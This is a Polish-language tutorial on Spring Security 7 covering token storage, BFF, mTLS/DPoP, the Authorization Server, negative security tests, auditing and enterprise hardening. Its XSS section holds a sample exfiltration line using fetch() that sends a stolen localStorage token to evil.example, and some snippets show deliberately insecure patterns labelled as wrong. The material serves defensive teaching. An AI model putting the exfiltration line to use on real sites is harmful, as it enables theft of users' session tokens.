JWT, opaque czy sesja — i gdzie trzymać token
localStorage to sejf z szybą od strony każdego skryptuZagrożenie. Twoje SPA dostało access token i — jak w połowie tutoriali — zapisało go w localStorage. Pewnego dnia w komentarzu pod produktem ktoś przemyca skrypt (XSS). Skrypt działa w twoim originie, więc widzi wszystko, co widzi twój kod JavaScript. Atakujący chce tokenu, bo token działa z dowolnego komputera, aż wygaśnie.
- Wstrzyknięty skrypt czyta
localStorage.getItem('access_token')— i ewentualnie refresh token obok. - Wysyła go na swój serwer, np.
fetch('https://evil.example/c?t=' + token). - Z własnej maszyny woła twoje API z
Authorization: Bearer …. API widzi prawidłowy token i nie ma pojęcia, że nadawca się zmienił. - Jeśli ukradł też refresh token, odnawia dostęp długo po tym, jak ofiara zamknęła kartę.
Jak działa ochrona. OWASP mówi wprost: nie trzymaj tokenów, identyfikatorów sesji ani JWT w localStorage czy sessionStorage — każdy skrypt w originie je odczyta. Ciasteczko z flagą HttpOnly jest niewidoczne dla document.cookie. Wzorzec BFF (Backend for Frontend) idzie dalej: tokeny OAuth zostają na serwerze, a przeglądarka ma tylko ciasteczko sesji HttpOnly. XSS dalej jest groźny — może wysyłać żądania z karty ofiary — ale nie wyniesie biletu, który działa poza nią.
JWT czy opaque? JWT serwer zasobów sprawdza lokalnie (podpis + roszczenia) — szybko, ale nie da się go odwołać przed exp, bo nikt nie pyta IdP. Token opaque to losowy identyfikator; API pyta o niego endpoint introspekcji przy każdym żądaniu. Dokumentacja Springa podsumowuje: to się przydaje, „when revocation is a requirement”. Krótki TTL JWT to kompromis między jednym a drugim.
// Serwer zasobów z tokenem opaque (introspekcja przy każdym żądaniu)
// spring.security.oauth2.resourceserver.opaquetoken:
// introspection-uri: https://idp.example.com/introspect
// client-id: orders-api
// client-secret: ${INTROSPECT_SECRET}
http.oauth2ResourceServer((oauth2) -> oauth2.opaqueToken(Customizer.withDefaults()));
🔬 Głębiej: BFF w Springu i co dalej z CSRF
BFF w Spring Security to po prostu aplikacja z oauth2Login() (sesja + ciasteczko) i klientem OAuth, który dokleja token do wywołań w dół (OAuth2ClientHttpRequestInterceptor dla RestClient, rozdział serwis–serwis). Przeglądarka nigdy nie widzi access tokenu.
Cena: wracasz do ciasteczka, więc wraca CSRF. Nie wyłączaj go — w 7.0 jest gotowe csrf((csrf) -> csrf.spa()) (rozdział o CSRF). Ciasteczko sesji: HttpOnly; Secure; SameSite, jak radzi OWASP.
Szkic IETF „OAuth 2.0 for Browser-Based Applications” zdecydowanie zaleca BFF (zwłaszcza dla aplikacji biznesowych i wrażliwych): daje silne gwarancje bezpieczeństwa, bo tokeny w ogóle nie trafiają do JavaScriptu.
- Domyślnie dla aplikacji webowych: BFF albo klasyczna sesja. Token w przeglądarce tylko świadomie, z krótkim TTL i twardym CSP.
- Potrzebujesz natychmiastowego odcięcia (zwolniony pracownik, wyciek)? Opaque + introspekcja albo krótkie JWT + odwołanie refresh tokenu w IdP.
- Nigdy nie loguj pełnych tokenów — OWASP Logging wymienia access tokeny wśród danych, których nie zapisuje się wprost.
localStorage+ XSS = token wyniesiony i odtwarzany z dowolnego miejsca.HttpOnlyukrywa ciasteczko przed skryptem; BFF trzyma tokeny po stronie serwera.- JWT: szybki, nieodwoływalny do
exp. Opaque: introspekcja, odwoływalny. - Ciasteczko wraca → CSRF wraca. Nie wyłączaj.
Serwis–serwis: client_credentials, mTLS, DPoP
bilet na okaziciela przyjmie każdy bramkarz — chyba że bilet ma zdjęcieZagrożenie. Serwis billing woła orders. Nie ma tu użytkownika, więc serwis loguje się sam sobą: grant client_credentials. Dostaje zwykły bearer token — „na okaziciela”. Jeśli token wycieknie (log z nagłówkami, zrzut ruchu, zhakowany sidecar), atakujący użyje go z dowolnego miejsca, dopóki nie wygaśnie.
- W centralnym logu ląduje linia z pełnym nagłówkiem
Authorization: Bearer eyJhbGc…wywołaniabilling → orders. - Atakujący z dostępem do logów kopiuje token.
- Ze swojej maszyny w sieci wysyła
GET /api/ordersz tym nagłówkiem. Podpis,iss,aud,exp— wszystko poprawne. ordersodpowiada200: bearer token nie mówi nic o tym, kto go przyniósł.
Jak działa ochrona. RFC 9700 zaleca tokeny sender-constrained — związane z nadawcą. Dwie drogi: mTLS (RFC 8705) — serwer autoryzacji wpisuje do tokenu odcisk certyfikatu klienta (cnf.x5t#S256), a API sprawdza, czy połączenie TLS przyszło z tym certyfikatem; DPoP (RFC 9449) — token zawiera odcisk klucza publicznego (cnf.jkt), a każde żądanie niesie świeży dowód DPoP: JWT podpisany kluczem prywatnym, z metodą (htm), adresem (htu) i skrótem tokenu (ath). Złodziej ma token, ale nie ma klucza.
jti, iat). Wartości tokenów i odcisków są skrócone i poglądowe.Konfiguracja w Spring Security 7. Klient: client_credentials w rejestracji i OAuth2ClientHttpRequestInterceptor w RestClient — interceptor sam pobiera token z Token Endpoint i odnawia go po wygaśnięciu.
// spring.security.oauth2.client.registration.orders-api:
// client-id: billing
// client-secret: ${BILLING_SECRET}
// authorization-grant-type: client_credentials
// scope: orders:read
@Bean
RestClient ordersClient(OAuth2AuthorizedClientManager manager) {
return RestClient.builder()
.baseUrl("https://orders.internal")
.requestInterceptor(new OAuth2ClientHttpRequestInterceptor(manager))
.build();
}
// wywołanie: .attributes(clientRegistrationId("orders-api"))
// Serwer zasobów uwierzytelniający certyfikatem klienta (mTLS na poziomie aplikacji)
http.x509(Customizer.withDefaults()) // domyślnie CN z certyfikatu → nazwa użytkownika
.authorizeHttpRequests((auth) -> auth.anyRequest().authenticated());
Po stronie Spring Authorization Server tokeny związane z certyfikatem włączasz dla klienta przez TokenSettings.builder().x509CertificateBoundAccessTokens(true) (z metodą uwierzytelnienia TLS_CLIENT_AUTH), a DPoP-bound access tokens są obsługiwane jako osobny typ tokenu.
- Jeden serwis = jedna rejestracja klienta z minimalnym scope. Wspólny „technical user” dla wszystkich serwisów to brak autoryzacji w przebraniu.
- Gdy łańcuch wywołań ma nieść tożsamość użytkownika, rozważ Token Exchange (wspierany przez Spring Authorization Server) zamiast przekazywania tego samego tokenu przez pięć usług.
- Service mesh z mTLS chroni kanał, ale nie wiąże tokenu — sprawdź, czy twoje API naprawdę weryfikuje
cnf, czy tylko ufa sieci.
client_credentials+OAuth2ClientHttpRequestInterceptor— standard serwis–serwis.- Bearer = na okaziciela; wyciek tokenu = dostęp do
exp. - mTLS (
cnf.x5t#S256) albo DPoP (cnf.jkt+ dowód zath) wiążą token z nadawcą.
Spring Authorization Server — własny IdP
wydawać bilety to dużo większa odpowiedzialność niż je sprawdzaćZagrożenie. Serwer autoryzacji to najcenniejszy cel w całej architekturze: kto go przejmie albo źle skonfiguruje, wydaje bilety do wszystkiego. Typowe wpadki to klient publiczny bez PKCE, zbyt szerokie redirect_uri, klucze podpisu generowane przy każdym starcie (tokeny przestają działać po restarcie) albo trzymane w repozytorium.
Od wersji 7.0 Spring Authorization Server jest częścią Spring Security i — co ważne — ma PKCE włączone domyślnie dla wszystkich klientów używających authorization code (requireProofKey = true). Klient bez code_challenge nie przejdzie.
- Zespół rejestruje klienta SPA i, bo „coś nie działało”, ustawia
requireProofKey(false). - Złośliwa aplikacja na telefonie ofiary przechwytuje przekierowanie z kodem.
- Wymienia kod na
/oauth2/token— klient publiczny nie ma sekretu, PKCE nie jest wymagane, więc serwer wydaje tokeny.
Jak to jest zbudowane. Kliknij komponenty. Minimalna konfiguracja włącza endpointy autoryzacji, tokenu, introspekcji, odwołania, metadanych i JWK Set (ten ostatni tylko, gdy masz bean JWKSource). OpenID Connect jest domyślnie wyłączony — włączasz go przez .oidc(…).
Konfiguracja w Spring Security 7. Starter spring-boot-starter-oauth2-authorization-server, a w kodzie konfigurator oauth2AuthorizationServer:
@Bean @Order(1)
SecurityFilterChain authorizationServer(HttpSecurity http) throws Exception {
http
.oauth2AuthorizationServer((as) -> as.oidc(Customizer.withDefaults())) // OIDC domyślnie wyłączony
.authorizeHttpRequests((auth) -> auth.anyRequest().authenticated())
.formLogin(Customizer.withDefaults()); // authorization_code wymaga zalogowanego użytkownika
return http.build();
}
@Bean
RegisteredClientRepository clients() {
RegisteredClient spa = RegisteredClient.withId(UUID.randomUUID().toString())
.clientId("spa")
.clientAuthenticationMethod(ClientAuthenticationMethod.NONE) // klient publiczny
.authorizationGrantType(AuthorizationGrantType.AUTHORIZATION_CODE)
.redirectUri("https://app.example.com/callback") // dokładny adres
.scope(OidcScopes.OPENID)
.clientSettings(ClientSettings.builder().requireProofKey(true).build()) // i tak domyślne
.build();
return new InMemoryRegisteredClientRepository(spa); // produkcja: JdbcRegisteredClientRepository
}
- Budować czy kupić? To opinia, nie fakt z dokumentacji: jeśli firma ma już Keycloak, Entra ID czy Oktę, zwykle wygrywa gotowy IdP — MFA, federacja, panel administracyjny i łatki bezpieczeństwa są w cenie. Spring Authorization Server ma sens, gdy potrzebujesz IdP wbudowanego w produkt albo nietypowych przepływów.
- Klucze podpisu: stały
JWKSourcez sejfu (rozdział o sekretach), z planem rotacji. Klucz generowany w pamięci przy starcie jest tylko na demo. - Rejestr klientów i autoryzacje w bazie (
JdbcRegisteredClientRepository,OAuth2AuthorizationService), nie w pamięci — inaczej każdy restart wylogowuje wszystkich.
- 7.0: Authorization Server w Spring Security, PKCE domyślnie wymagane.
- Domyślne endpointy: authorize, token, introspect, revoke, metadane, JWK Set; OIDC po
.oidc(…). RegisteredClient: dokładneredirectUri, minimalne scope, klienci publiczni zNONEi PKCE.
Warsztat: testy, audyt, wnętrza
Konfiguracja, która dziś działa, jutro zmieni ktoś inny. Ta część jest o tym, jak się dowiedzieć, że coś pękło: testy, które pilnują odmów, zdarzenia, które zamieniają ataki w alerty, i kontekst bezpieczeństwa, który potrafi zgubić się między wątkami.
Testowanie bezpieczeństwa — testuj „nie wolno”
test, który sprawdza tylko 200, przepuści każdą dziuręZagrożenie. Tu atakującym jest… zwykły pull request. Ktoś refaktoryzuje reguły, zamienia hasRole("ADMIN") na authenticated() „bo testy nie przechodziły”. Wszystkie testy są zielone, bo każdy sprawdza, że admin może. Żaden nie sprawdza, że zwykły użytkownik nie może.
- Po wdrożeniu regresji atakujący z kontem
USERpróbujeDELETE /api/orders/17— tak, po prostu próbuje. - Dostaje
204 No Contentzamiast403. Zamówienie znika. - Sprawdza
GET /admin/users—200. Lista użytkowników z e-mailami. - CI było zielone: testy pokrywały tylko ścieżki szczęśliwe.
Jak działa ochrona. Traktuj reguły jak tabelę: każdy endpoint × każda rola → oczekiwany status. Komórki z 401 i 403 to testy negatywne i są równie ważne jak 200. Spring Security Test daje ci do tego cegiełki: @WithMockUser (domyślnie użytkownik user, hasło password, rola ROLE_USER), @WithAnonymousUser, a w MockMvc post-procesory user(…), csrf(), jwt(), oauth2Login().
Kliknij komórkę, żeby zobaczyć wygenerowany test.
httpBasic (anonim dostaje 401), CSRF włączony. Odpowiedź bez tokenu CSRF to 403 z CsrfFilter, zanim zadziałają reguły. Endpointy i statusy poglądowe.Konfiguracja. Z MockMvc (Spring Boot sam dokłada filtry Spring Security w @WebMvcTest/@AutoConfigureMockMvc; ręcznie: .apply(springSecurity())):
@Test
@WithMockUser // user / ROLE_USER
void userCannotDeleteOrders() throws Exception {
mvc.perform(delete("/api/orders/17").with(csrf()))
.andExpect(status().isForbidden());
}
@Test
void postWithoutCsrfIsRejected() throws Exception {
mvc.perform(post("/api/orders").with(user("ala").roles("USER")))
.andExpect(status().isForbidden()); // brak csrf()
}
@Test
void reportsTokenCannotReadOrders() throws Exception {
mvc.perform(get("/api/orders")
.with(jwt().authorities(new SimpleGrantedAuthority("SCOPE_reports:read"))))
.andExpect(status().isForbidden());
}
Domyślnie jwt() tworzy token z jednym uprawnieniem SCOPE_read; nadpisujesz je przez authorities(…) albo roszczenia przez jwt().jwt((jwt) -> jwt.claim(…)). Pamiętaj: post-procesor jwt() omija JwtDecoder, więc walidację aud/iss testuj osobno, na samym dekoderze.
- Wygeneruj macierz z listy endpointów (np. z mapowań Spring MVC) i trzymaj ją w kodzie — nowy endpoint bez wiersza w macierzy oblewa build.
- Testuj też metody:
@PreAuthorizena serwisie z@WithMockUser(roles = "USER")i oczekiwanymAccessDeniedException. - Do testów IDOR potrzebujesz dwóch użytkowników: Ala nie widzi zamówień Bartka (rozdział o IDOR).
Masz 6 endpointów i 3 role (anonim, USER, ADMIN). Ile komórek ma macierz i ile z nich to zwykle testy negatywne w typowym panelu administracyjnym?
Odpowiedź
18 komórek. W typowym API większość to 401/403 — w naszym przykładzie 9 z 18. Jeśli piszesz tylko „szczęśliwe” testy, pomijasz połowę zachowania bezpieczeństwa.
- Endpoint × rola → status. 401/403 to pełnoprawne testy.
@WithMockUser,@WithAnonymousUser,user(),csrf(),jwt().- Test bez
csrf()powinien dostać 403 — to też sprawdzaj.
Audyt i obserwowalność — zobacz atak, zanim się uda
tysiąc nieudanych logowań to nie szum, to wiadomośćZagrożenie. Credential stuffing (rozdział o brute force) albo ktoś, kto metodycznie sprawdza /admin/**, zostawia ślady: setki 401 i 403. Jeśli nikt ich nie zbiera, atak trwa tygodniami. A jeśli zbierasz je źle, w logach lądują hasła i tokeny — i log staje się nowym celem.
- Bot z jednego IP wysyła
POST /loginz parami login–hasło z wycieku: 40 prób na minutę. - Aplikacja odpowiada
401, ale nikt nie liczy porażek, więc nie ma alertu. - Po kilku godzinach jedna para pasuje. Atakujący wchodzi i zaczyna sprawdzać
/admin/users,/admin/export… - Bonus: w logach debugowania leży pełny nagłówek
Authorization— każdy z dostępem do logów ma gotowy token.
Jak działa ochrona. Spring Security publikuje zdarzenia. Każde udane i nieudane uwierzytelnienie to AuthenticationSuccessEvent albo zdarzenie porażki (np. AuthenticationFailureBadCredentialsEvent) — w Boot DefaultAuthenticationEventPublisher jest gotowy. Każda odmowa autoryzacji to AuthorizationDeniedEvent. Dokumentacja każe zarejestrować bean AuthorizationEventPublisher (np. SpringAuthorizationEventPublisher); w 7.1 reguły HTTP i tak publikują odmowy przez SpringAuthorizationEventPublisher, a własny bean jest potrzebny m.in. przy zdarzeniach „granted”. AuthorizationGrantedEvent domyślnie nie jest publikowane — byłoby za głośno. Zdarzenia przekazujesz do logu bezpieczeństwa i metryk, a reguła alertu robi resztę.
Konfiguracja w Spring Security 7.
@Bean
AuthorizationEventPublisher authorizationEventPublisher(ApplicationEventPublisher publisher) {
return new SpringAuthorizationEventPublisher(publisher); // publikuje AuthorizationDeniedEvent
}
@Component
class SecurityAudit {
private static final Logger log = LoggerFactory.getLogger("SECURITY");
@EventListener
void onSuccess(AuthenticationSuccessEvent e) {
log.info("auth.success user={}", e.getAuthentication().getName());
}
@EventListener
void onFailure(AbstractAuthenticationFailureEvent e) {
log.warn("auth.failure user={} reason={}", // bez hasła, bez tokenu
e.getAuthentication().getName(), e.getException().getClass().getSimpleName());
}
@EventListener
void onDenied(AuthorizationDeniedEvent<?> e) {
log.warn("authz.denied user={}", e.getAuthentication().get().getName());
}
}
Micrometer. Gdy w kontekście jest bean ObservationRegistry, Spring Security sam tworzy obserwacje (trace’y) dla łańcucha filtrów, AuthenticationManager i AuthorizationManager — nazwy spring.security.http.chains, spring.security.authentications, spring.security.authorizations. Z tego masz metryki czasu i błędów bez pisania kodu.
- OWASP Logging: loguj udane i nieudane uwierzytelnienia oraz porażki kontroli dostępu. Nie loguj wprost haseł, access tokenów, identyfikatorów sesji (najwyżej ich skrót), kluczy.
- Osobny logger/strumień „security” z dłuższą retencją i ograniczonym dostępem — to dowód w razie incydentu.
- Alert na wzorzec, nie pojedyncze zdarzenie: wiele porażek z jednego IP, wiele kont z jednego IP, odmowy dla jednego konta na wielu zasobach.
AuthenticationSuccessEvent/ porażki — od razu w Boot;AuthorizationDeniedEvent— dla reguł HTTP także od razu; bean publishera zaleca dokumentacja.AuthorizationGrantedEventdomyślnie wyłączone (za głośne).ObservationRegistry→ trace’y łańcucha, uwierzytelniania, autoryzacji.- Log bezpieczeństwa bez sekretów.
Kontekst w wątkach i reaktywnie — kto tu właściwie pyta?
ThreadLocal nie przeskakuje na inny wątek. Czasem przeskakuje — i to gorzejZagrożenie. W rozdziale o SecurityContextHolder widziałeś, że kontekst siedzi w ThreadLocal i że DelegatingSecurityContextExecutor przenosi go do puli. Teraz gorsze przypadki: kontekst, który znika (kod w tle działa jako „nikt” i ktoś „naprawia” to, wyłączając sprawdzanie), i kontekst, który przecieka — wątek z puli wykonuje zadanie Alicji z tożsamością Bartka.
- Zespół ustawia
MODE_INHERITABLETHREADLOCAL, „żeby@Asyncwidział użytkownika”. - Pierwsze żądanie po starcie robi Bartek (ADMIN). Pula tworzy wtedy nowy wątek roboczy — i ten dziedziczy kopię kontekstu Bartka.
- Wątki w puli żyją długo. Godzinę później Alicja (USER) zleca eksport; zadanie trafia na ten sam wątek.
- Kod eksportu pyta
SecurityContextHolderi widzi Bartka. Alicja dostaje dane administracyjne.
Jak działa ochrona. InheritableThreadLocal kopiuje wartość w chwili tworzenia wątku, nie w chwili zlecenia zadania — z pulą to loteria. Poprawnie jest przekazać kontekst per zadanie: DelegatingSecurityContextRunnable/Callable albo opakowane executory (DelegatingSecurityContextAsyncTaskExecutor, DelegatingSecurityContextExecutorService…), które ustawiają kontekst przed zadaniem i czyszczą po nim. CompletableFuture.supplyAsync(…) bez executora idzie do ForkJoinPool.commonPool() — tam kontekstu nie ma wcale. W WebFlux zapomnij o ThreadLocal: kontekst płynie w Reactor Context, a czytasz go przez ReactiveSecurityContextHolder.getContext().
Konfiguracja.
// @Async: opakuj executor — kontekst kopiowany przy KAŻDYM zleceniu, czyszczony po nim
@Bean
Executor taskExecutor() {
ThreadPoolTaskExecutor pool = new ThreadPoolTaskExecutor();
pool.initialize();
return new DelegatingSecurityContextAsyncTaskExecutor(pool);
}
// CompletableFuture: zawsze z własnym (opakowanym) executorem
CompletableFuture.supplyAsync(() -> reports.exportFor(currentUser()), securedExecutor);
// WebFlux: kontekst z Reactor Context, nie z ThreadLocal
Mono<String> me = ReactiveSecurityContextHolder.getContext()
.map((ctx) -> ctx.getAuthentication().getName());
// ŹLE: dziedziczenie przy tworzeniu wątku + pula = cudza tożsamość
SecurityContextHolder.setStrategyName(SecurityContextHolder.MODE_INHERITABLETHREADLOCAL);
MODE_INHERITABLETHREADLOCALtylko tam, gdzie sam tworzysz krótkie wątki; nigdy z pulą. W praktyce zespoły zakazują go regułą w ArchUnit/Checkstyle.- Zadania w tle bez użytkownika (cron, kolejki) uruchamiaj z jawną tożsamością techniczną i własnymi uprawnieniami — nie z „pożyczonym” kontekstem.
- W WebFlux nie mieszaj
SecurityContextHolderz łańcuchem reaktywnym — popublishOnjesteś na innym wątku.
W testach metod reaktywnych ReactiveSecurityContextHolder wypełnia ReactorContextTestExecutionListener — dlatego @WithMockUser działa także dla kodu na Mono/Flux.
@Async/supplyAsyncbez opakowania: kontekst pusty.MODE_INHERITABLETHREADLOCAL+ pula: kontekst cudzy — gorsze niż pusty.DelegatingSecurityContext*: kontekst per zadanie, czyszczony po nim.- WebFlux:
ReactiveSecurityContextHolder.getContext().
Enterprise i rozmowa rekrutacyjna
Znasz już pojedyncze mechanizmy. Teraz składasz je w system: kilkadziesiąt serwisów, jeden dostawca tożsamości i ludzie, którzy kiedyś się pomylą. Na koniec dostajesz galerię ataków, checklistę, ściągę z typowych awarii i pytania, które usłyszysz na rozmowie o pracę.
Najlepsze praktyki enterprise
jedna brama to za mało, gdy wróg już jest w środkuZagrożenie. W firmie nie ma jednej aplikacji. Jest brama API, kilkadziesiąt serwisów, wspólna baza i dostawca tożsamości (IdP). Atakujący rzadko forsuje bramę od frontu. Częściej wchodzi bokiem: przez starą bibliotekę w mało ważnym serwisie raportowym, o którym wszyscy zapomnieli.
Gdy już siedzi w środku, chce iść dalej. To się nazywa ruch boczny (lateral movement): z przejętego serwisu woła inne serwisy i bazę tak, jakby był „swój”. Udaje mu się wtedy, gdy wewnątrz sieci wszyscy ufają wszystkim.
- Skanuje publiczne endpointy i znajduje serwis
reportsze znaną podatnością w nieaktualnej zależności. Przejmuje proces. - Z wnętrza sieci wysyła
GET http://billing:8080/internal/invoicesz nagłówkiemX-User: admin. Brama tego nie widzi, bo żądanie jej nie przechodzi. billing„wie”, że tokeny sprawdza brama, więc wierzy nagłówkowi i odpowiada200 OKz fakturami.- Atakujący czyta zmienne środowiskowe
reports, znajduje hasło do bazy i odkrywa, że to wspólne konto z prawem do wszystkiego.
Jak działa ochrona. Nie ma jednego magicznego filtra. Jest kilka zasad, które razem zmniejszają promień rażenia (blast radius), czyli to, ile atakujący może zrobić z jednego przejętego miejsca:
- Domyślnie odmawiaj. Każda ścieżka, której nie opisałeś, kończy się odmową:
anyRequest().denyAll()albo co najmniejauthenticated()(zobacz reguły URL). OWASP nazywa to „deny by default”. - Jeden dostawca tożsamości (IdP) i SSO. Logowanie, MFA i blokady kont są w jednym miejscu, a serwisy dostają podpisane tokeny (OAuth/OIDC).
- Zero trust. Każdy serwis sam waliduje token: podpis,
iss,expiaud(JWT). Brama to pierwsza linia, nie jedyna. - Najmniejsze uprawnienia (least privilege): użytkownik bazy per serwis, scope tokenu per operacja, konto techniczne bez praw admina.
- Obrona w głąb (defense in depth): kilka niezależnych warstw. Gdy jedna zawiedzie, następna dalej trzyma.
Zauważ kolejność. Walidacja JWT w serwisie zatrzymuje żądanie z fałszywym nagłówkiem: BearerTokenAuthenticationFilter nie znajduje tokenu i serwis odpowiada 401 z nagłówkiem WWW-Authenticate: Bearer. mTLS zatrzymuje je jeszcze wcześniej, na poziomie połączenia. A minimalne uprawnienia w bazie ograniczają szkody nawet wtedy, gdy hasło do bazy już wyciekło.
Konfiguracja w Spring Security 7
Każdy serwis jest resource serverem: sam sprawdza wydawcę i odbiorcę tokenu. W Spring Boot wystarczą dwie właściwości:
spring:
security:
oauth2:
resourceserver:
jwt:
issuer-uri: https://idp.firma.pl/realms/main # podpis (JWKS) + iss + exp/nbf
audiences: billing-service # aud musi zawierać ten serwis
Osobny łańcuch na każdą powierzchnię: Actuator dla operacji, API dla klientów. Ostatnia reguła zawsze odmawia.
@Bean
@Order(1)
SecurityFilterChain actuator(HttpSecurity http) throws Exception {
http
.securityMatcher("/actuator/**")
.authorizeHttpRequests((auth) -> auth
.requestMatchers("/actuator/health").permitAll()
.anyRequest().hasRole("OPS"))
.httpBasic(Customizer.withDefaults());
return http.build();
}
@Bean
@Order(2)
SecurityFilterChain api(HttpSecurity http) throws Exception {
http
.securityMatcher("/api/**")
.authorizeHttpRequests((auth) -> auth
.requestMatchers(HttpMethod.GET, "/api/invoices/**").hasAuthority("SCOPE_invoices.read")
.requestMatchers(HttpMethod.POST, "/api/invoices").hasAuthority("SCOPE_invoices.write")
.anyRequest().denyAll()) // deny by default
.oauth2ResourceServer((oauth2) -> oauth2.jwt(Customizer.withDefaults()))
.sessionManagement((session) -> session
.sessionCreationPolicy(SessionCreationPolicy.STATELESS));
return http.build();
}
// ❌ „brama już sprawdziła” — serwis wierzy nagłówkowi
String user = request.getHeader("X-User");
if ("admin".equals(user)) { return invoiceRepository.findAll(); }
Minimalne uprawnienia w bazie to nie Spring, tylko zwykły SQL. Każdy serwis dostaje własnego użytkownika i tylko swój schemat:
CREATE USER reports_ro WITH PASSWORD :'from_vault';
GRANT USAGE ON SCHEMA reports TO reports_ro;
GRANT SELECT ON ALL TABLES IN SCHEMA reports TO reports_ro; -- bez DROP, bez billing.*
- Sekrety poza kodem. Hasła, klucze i
client-secrettrzymaj w menedżerze sekretów (Vault, menedżer sekretów chmury, Kubernetes Secrets) i wstrzykuj w czasie uruchomienia. OWASP Secrets Management mówi wprost: sekretów nie wpisuje się na sztywno do kodu ani obrazów. - Łatki i skan zależności. Atak z tego rozdziału zaczął się od starej biblioteki. Skaner zależności w CI (np. Dependabot, OWASP Dependency-Check) i regularne podbijanie Spring Boot to zwykła higiena, nie projekt na kwartał.
- Testy bezpieczeństwa w CI. Na każdy endpoint test negatywny: anonim dostaje 401, zły użytkownik 403 (testowanie). Reguła, której nikt nie testuje, kiedyś się rozjedzie.
- Spójne odpowiedzi błędów. Ten sam kształt 401/403 w całej firmie, bez stack trace’ów i treści wyjątków. Atakujący nie powinien z odpowiedzi poznać wersji biblioteki ani tego, czy konto istnieje.
- Audyt. Loguj sukcesy i porażki logowania oraz odmowy dostępu (OWASP Logging). Spring publikuje do tego
AuthenticationSuccessEvent,AuthenticationFailureBadCredentialsEventiAuthorizationDeniedEvent(audyt). Nigdy nie loguj haseł ani tokenów dostępu.
🔬 Głębiej: modelowanie zagrożeń i tożsamość serwisów
Modelowanie zagrożeń to godzina z tablicą przed pisaniem kodu: rysujesz przepływ danych, zaznaczasz granice zaufania (internet → brama, brama → serwis, serwis → baza) i przy każdej strzałce pytasz „co, jeśli ta strona kłamie?”. W praktyce zespoły używają do tego kategorii STRIDE. Każda strzałka bez odpowiedzi to kandydat na rozdział z tego kursu.
Czyj token niesie serwis? Gdy orders woła billing w imieniu użytkownika, może przekazać token użytkownika (token relay) albo pobrać własny przez client_credentials (serwis–serwis). Przekazanie zachowuje tożsamość użytkownika, ale wymaga, żeby aud obejmował oba serwisy. Własny token daje czyste uprawnienia techniczne, ale gubi to, kto naprawdę kliknął.
Token, który da się ukraść, da się użyć. Zwykły token Bearer działa w każdych rękach. Tokeny powiązane z nadawcą (DPoP, certyfikat mTLS) wymagają dowodu posiadania klucza. Spring Security 7 obsługuje tokeny DPoP w resource serverze.
reports, i już jest za tobą.- Domyślnie odmawiaj: ostatnia reguła to
denyAll()alboauthenticated(). - Zero trust: każdy serwis waliduje JWT (
issuer-uri+audiences), a nie tylko brama. - Najmniejsze uprawnienia: osobny użytkownik bazy i wąskie scope’y per serwis.
- Sekrety w menedżerze sekretów, zależności skanowane w CI, testy negatywne per endpoint.
- Osobny
SecurityFilterChainper powierzchnia i audyt zdarzeń bezpieczeństwa.
Galeria ataków
dwanaście włamań i dokładne miejsce, w którym Spring mówi „nie”Każdy atak to łańcuch kroków. Atakujący musi przejść wszystkie, a obrońcy wystarczy przerwać jeden. Dlatego przy każdej obronie pytasz nie tylko „czy działa?”, ale też „w którym kroku działa?”. Im wcześniej, tym mniej szkód.
Wybierz atak, przejdź go krok po kroku z wyłączoną obroną, a potem włącz 🛡️ Obrona. Zobaczysz, w którym kroku i którą klasą albo opcją DSL Spring przerywa łańcuch. Pod spodem jest link do rozdziału, w którym ten mechanizm jest opisany dokładnie.
Popatrz na kolumnę „gdzie zatrzymane”. Część ataków Spring zatrzymuje sam, bo ochrona jest domyślnie włączona: CSRF, nagłówki przeciw clickjackingowi, zmiana ID sesji, StrictHttpFirewall. Część wymaga twojej decyzji: reguły, sprawdzenie właściciela, audience, CORS. A dwa ataki (IDOR i mass assignment) w ogóle nie są „sprawą filtra”. To projekt twojego kodu.
Masz wyłączony CSRF, bo „to API na JWT”. Ale frontend trzyma JWT w ciasteczku, które przeglądarka wysyła sama. Który atak z galerii właśnie wrócił do gry?
Odpowiedź
CSRF. Ochrona przed CSRF jest potrzebna wtedy, gdy przeglądarka sama dokleja poświadczenia: ciasteczko, nieważne, czy jest w nim ID sesji, czy JWT. Bezpiecznie wyłączyć ją można dopiero wtedy, gdy token idzie w nagłówku Authorization, który dopisuje kod klienta.
- Atak to łańcuch: wystarczy przerwać jeden krok, najlepiej jak najwcześniej.
- Domyślne ochrony Springa (CSRF, nagłówki, fixation, firewall) zatrzymują sporą część galerii bez twojego udziału.
- IDOR, kolejność reguł, audience, CORS i mass assignment to twoja odpowiedzialność.
Checklista hardeningu
przed wdrożeniem odhacz wszystko, a potem jeszcze razTo lista na przegląd przed wdrożeniem albo na pierwszy tydzień w nowym projekcie. Każdy punkt nazywa konkretną opcję Springa, więc możesz go od razu sprawdzić w kodzie. Punkty oznaczone domyślnie Spring robi sam. Twoim zadaniem jest ich nie wyłączyć.
localStorage, w bloku try/catch). W trybie prywatnym albo przy zablokowanym magazynie lista po prostu startuje od zera. „Domyślnie” znaczy: Spring Security lub Boot robi to bez konfiguracji.Kliknij „Zaznacz domyślne Springa”. Ile procent checklisty dostajesz za darmo? Co to mówi o pytaniu „dodałem starter, czy jestem bezpieczny?”.
Odpowiedź
Mniej więcej jedną piątą: 7 z 35 punktów to ustawienia domyślne. Sześć z nich daje sam starter (hasła, komunikaty logowania, fixation, wylogowanie, CSRF, nagłówki); PKCE jest domyślne dopiero po dodaniu klienta OAuth2 albo serwera autoryzacji. Reszta to decyzje, których za ciebie nikt nie podejmie: reguły, właściciel obiektu, audience, CORS, sekrety i audyt.
- Domyślne ochrony zostaw włączone. Wyłączenie wymaga uzasadnienia na piśmie.
- Każdy punkt to konkretna opcja: sprawdzisz go w kodzie w minutę.
- Checklista nie zastąpi testów negatywnych i przeglądu reguł.
Troubleshooting
objaw → przyczyna → poprawka, zanim wyłączysz security „na chwilę”Większość awarii Spring Security wygląda tak samo: 401, 403 albo przekierowanie, którego nikt nie zamawiał. Zanim zaczniesz zgadywać, włącz logging.level.org.springframework.security=TRACE. Log pokaże, który łańcuch pasował, które filtry się wykonały i która reguła odmówiła.
Wybierz rodzaj objawu, a potem kliknij konkretny objaw w tabeli. Dostaniesz pierwszy krok diagnozy.
| Objaw | Przyczyna | Poprawka |
|---|---|---|
Brak lub zły token CSRF. CsrfFilter odrzuca metody niebezpieczne. | Wyślij token (formularz _csrf, nagłówek X-XSRF-TOKEN, SPA: csrf.spa()). Wyłącz CSRF tylko dla API bez ciasteczek. | |
CORS nie jest obsłużony w Spring Security. Preflight nie niesie ciasteczek ani Authorization, więc odpada na uwierzytelnianiu. | http.cors(Customizer.withDefaults()) + bean CorsConfigurationSource z jawnymi originami. | |
